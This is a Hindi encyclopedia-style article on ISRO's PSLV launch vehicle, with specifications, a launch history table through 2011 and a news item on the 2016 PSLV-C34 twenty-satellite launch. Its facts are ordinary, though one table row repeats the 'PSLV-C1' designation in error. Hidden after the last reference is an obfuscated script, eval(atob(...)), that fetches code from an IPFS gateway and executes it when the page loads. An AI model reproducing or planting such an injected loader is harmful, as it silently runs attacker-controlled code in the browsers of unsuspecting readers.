ध्रुवीय उपग्रह प्रक्षेपण यान

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ध्रुवीय उपग्रह प्रक्षेपण यान (पीएसएलवी)

पीएसएलवी (Polar Satellite Launch Vehicle) के संक्षिप्‍त नाम से विख्‍यात ध्रुवीय उपग्रह प्रमोचन यान इसरो का प्रथम प्रचालनात्मक प्रमोचन यान है। पीएसएलवी 1600 कि.ग्रा. भार के उपग्रहों को सूर्य तुल्‍यकाली ध्रुवीय कक्षा में 620 कि.मी. पर और 1050 कि.ग्रा. भार के उपग्रहों को भूतुल्‍यकाली अंतरण कक्षा में प्रमोचित करने में सक्षम है। मानक संरूपण में 295 टन उत्थापन भार सहित इसकी माप लंबाई में 44.4 मी. है। पीएसएलवी में बारी-बारी से ठोस और द्रव नोदन प्रणाली का उपयोग करते हुए चार चरण हैं। प्रथम चरण विश्‍व में सर्वाधिक बड़ा ठोस नोदन बूस्‍टरों में से एक है और 139 टन नोदक वहन करता है। प्रथम चरण मोटर के साथ छह स्‍ट्रेप-ऑन का समूह जुड़ा है, जिनमें से चार भूमि पर प्रज्‍वलित किए जाते हैं और दो हवा में प्रज्‍वलित किए जाते हैं।

विश्‍वसनीयता

पीएसएलवी की विश्‍वसनीयता दर उत्‍कृष्‍ट है। अक्तूबर, 2011 तक पीएसएलवी की 19 निरंतर सफल उड़ानें रहीं। विभिन्‍न संरूपणों के साथ पीएसएलवी ने एकल प्रमोचन में अपने अनेक नीतभार, बहु-मिशन क्षमता और भूतुल्‍यकाली प्रमोचन क्षमता सिद्ध की है। अभी हाल ही के चन्‍द्रयान मिशन में, पीएसएलवी के अन्‍य संस्‍करण स्‍ट्रैप-ऑन मोटर के विस्‍तारित संस्‍करण पीएसओएम-एक्सएल सहित, 620 कि.मी. एसएसपीओ में नीतभार परिवहन में 1750 कि.ग्रा. तक वृद्धि की गई। सही तौर पर पीएसएलवी ने इसरो के प्रमोचन यान के रूप में लंबी रेस के घोड़े की स्थिति प्राप्‍त की है।

पीएसएलवी के विशिष्ट प्राचल
उत्थापन भार 295 टन
नीतभार 620 कि.मी. ध्रुवीय कक्षा में 1600 कि.ग्रा. भू-तुल्यकाली अंतरण कक्षा (जीटीओ) में 1060 कि.ग्रा.
ऊँचाई 44 मीटर
पीएसएलवी की उपलब्धियाँ[1]
अंतरिक्ष उपग्रह प्रक्षेपित उपग्रह दिनांक परिणाम
पीएसएलवी-डी1 आईआरएस-1ई 20 सितंबर 1993 विफल।
पीएसएलवी-डी2 आईआरएस-पी2 15 अक्टूबर 1994 सफल
पीएसएलवी-डी3 आईआरएस-पी3 21 मार्च 1996 सफल
पीएसएलवी-सी1 आईआरएस-1डी 29 सितंबर 1997 सफल
पीएसएलवी-सी1 ओशियनसैट और दो अन्य उपग्रह 26 मई 1999 सफल
पीएसएलवी-सी3 टीईएस 22 अक्टूबर 2001 सफल
पीएसएलवी-सी4 कल्पना-1 12 सितंबर 2002 सफल
पीएसएलवी-सी5 रिसोर्ससैट-1 17 अक्टूबर 2003 सफल
पीएसएलवी-सी6 काटरेसैट-1 और हैमसैट 5 मई 2005 सफल
पीएसएलवी-सी7 काटरेसैट-2 और तीन अन्य उपग्रह 10 जनवरी 2007 सफल
पीएसएलवी-सी8 एजाइल 23 अप्रैल 2007 सफल
पीएसएलवी-सी10 टीईसीएसएएआर 23 जनवरी 2008 सफल
पीएसएलवी-सी9 काटरेसैट- 2ए, आईएमएस-1 और आठ नैनो उपग्रह 28 अप्रैल 2008 सफल
पीएसएलवी-सी11 चंद्रयान-1 22 अक्टूबर 2008 सफल
पीएसएलवी-सी12 आरआईसैट-2 और एएनयूसैट 20 अप्रैल 2009 सफल
पीएसएलवी-सी14 ओशियनसैट-2 और छह अन्य उपग्रह 23 सितंबर 2009 सफल
पीएसएलवी-सी15 काटरेसैट-2बी और चार अन्य उपग्रह 12 जुलाई 2010 सफल
पीएसएलवी-सी16 रिसोर्ससैट-2 और दो अन्य उपग्रह 20 अप्रैल 2011 सफल
पीएसएलवी-सी17 जीसैट-12 15 जुलाई, 2011 सफल
पीएसएलवी-सी18 मेघा-ट्रॉपिक्स, जुगुनू, एसआरएमसैट और वेसेलसैट-1 12 अक्तूबर 2011 सफल

समाचार

पीएसएलवी-C34
बुधवार, 22 जून, 2016

इसरो ने अंतरिक्ष में रचा नया इतिहास, लॉन्च किए 20 उपग्रह

भारतीय अंतरिक्ष एजेंसी इसरो ने 22 जून, 2016 को एक साथ 20 उपग्रहों को उनकी कक्षाओं में स्थापित करके एक नया कीर्तिमान स्थापित किया। इससे पहले 2008 में उसने एक साथ 10 उपग्रह लॉन्च किए थे, जो उसका अब तक का रेकॉर्ड था। संख्या के अलावा जो एक और बात इस उपलब्धि को खास बनाती है, वह है मल्टी पॉइंट डिलिवरी। इससे पहले इसरो ने जब एकाधिक उपग्रह लॉन्च किए तो वे एक ही ऊंचाई पर छोड़े गए थे। यानी वे एक-दूसरे से पर्याप्त दूरी रखते हुए कमोबेश एक जैसी ही ऑरबिट में घूमते थे। यह पहला मौका है जब इसरो ने पीएसएलवी-C34 के जरिए उपग्रहों को अलग-अलग ऊंचाई पर छोड़ा है। जो 20 उपग्रह छोड़े गए हैं उनमें 17 कमर्शियल हैं।

17 सैटेलाइट विदेशी, तीन स्वदेशी

पीएसएलवी-C34 की लॉन्चिंग सतीश धवन अंतरिक्ष केंद्र के दूसरे लॉन्च पैड से श्रीहरिकोटा में की गई। भारतीय समय के अनुसार पीएसएलवी C-34 की लॉन्चिंग 22 जून को सुबह 9 बजकर 26 मिनट पर की गई। पीएसएलवी सी-34 के 20 सैटेलाइटों में से 17 कमर्शियल सैटेलाइट हैं। यानी 17 सैटेलाइट दूसरे देशों के हैं जिन्हें भेजने के लिए इसरो ने उन देशों से फीस ली है। इसके अलावा दो सैटेलाइट देश के दो शिक्षा संस्थानों के हैं। इस लॉन्चिंग में एक सैटेलाइट कॉर्टोसैट 2 सीरीज का इसरो का अपना है। इन 20 उपग्रहों का कुल वज़न 1288 किलोग्राम था, लेकिन उनमें अकेले कार्टोसैट-2 सीरीज उपग्रह का वजन ही 727.5 किलोग्राम है। यह उपग्रह देश में हो रहे वानस्पतिक या भूगर्भीय बदलावों पर बारीकी से नज़र रख सकेगा। मिशन को खास बनाने वाली एक और अहम बात यह है कि बाकी दो सैटलाइट चेन्नई की सत्यभामा यूनिवर्सिटी और पुणे के कॉलेज ऑफ इंजिनियरिंग के छात्रों ने तैयार किए हैं।

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टीका टिप्पणी और संदर्भ

  1. पीएसएलवी (हिन्दी) (एच.टी.एम.एल) भारतीय अंतरिक्ष अनुसंधान संगठन। अभिगमन तिथि: 15 मार्च, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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